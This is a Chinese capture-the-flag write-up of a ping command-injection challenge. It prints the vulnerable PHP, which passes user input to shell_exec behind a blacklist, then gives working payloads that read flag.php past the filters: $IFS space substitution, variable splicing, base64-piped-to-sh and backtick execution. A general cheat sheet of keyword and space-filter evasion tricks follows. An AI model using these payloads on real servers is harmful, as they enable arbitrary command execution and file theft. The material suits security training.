記一道ping注入的題。過濾了很多字符。
分析
簡單的測了一下,很容易就拿到了flag.php和index.php。
但是存在waf無法直接查看。直接?ip=127.0.0.1|cat flag.php提示/?ip= fxck your space!。意思不能存在空格。用$IFS$1可以代替空格。用?ip=127.0.0.1|cat$IFS$1flag.php提示/?ip= fxck your flag!,flag關鍵字也被過濾了。但是index.php可以查看
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
flag關鍵字可以使用變量拼接。存在$a可以覆蓋
命令執行變量拼接
payload
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php //變量替換
過濾bash用sh執行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
//Y2F0IGZsYWcucGhw ->cat flag.php,輸出給base64還原然后sh執行
內聯執行
?ip=127.0.0.1;cat$IFS$9`ls`
//內聯,就是將反引號內命令的輸出作為輸入執行。
代替空格
$IFS
${IFS}
$IFS$1 //$1改成$加其他數字貌似都行
< //cat<a.txt
<>
{cat,flag.php} //用逗號實現了空格功能
%20 (space)
%09 (tab)
關鍵字過濾
方法一:特殊變量
$*
$@
$x (x 代表 1-9)
${x} (x>=10)
在沒有傳參的情況下,上面的特殊變量都是為空的 ca${21}t a.txt
方法二:反斜杠
ca\t a.txt
方法三:變量替換
a=ca;b=t;c=a.txt;aaab $c
方法四:引號
c'a't flag.php
方法五:編碼繞過
Base64 編碼繞過
root@kali:~/# echo 'cat a.txt'| base64 Y2F0IGEudHh0Cg==
root@kali:~/# echo 'Y2F0IGEudHh0Cg==' | base64 -d abc
方法六:十六進制編碼繞過
root@kali:~/# echo 'cat a.txt' | xxd -p 63617420612e7478740a
root@kali:~/# echo '0x63617420612e7478740a'| xxd -r -p Abc
方法七:通配符
?
*
[…]:匹配范圍中任何一個字符 cat fl[abc]g.php
[a-z]:匹配 a-z 范圍中任何一個字符 cat fl[a-z]g.php
{a,b}:對以逗號分割的文件列表進行拓展 cat fl{b,c}g.php
命令分隔與執行多條命令
1.&
& 表示將任務置於后台執行
2.&&
只有在 && 左邊的命令返回真(命令返回值 $? == 0),&& 右邊的命令才 會被執行。
3.|
| 表示管道,上一條命令的輸出,作為下一條命令的參數
4.||
只有在 || 左邊的命令返回假(命令返回值 $? == 1),|| 右邊的命令才 會被執行。
5.;
多行語句用換行區分代碼快,單行語句一般要用到分號來區分代碼塊
過濾bash?那就用sh
sh的大部分腳本都可以在bash下運行。
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh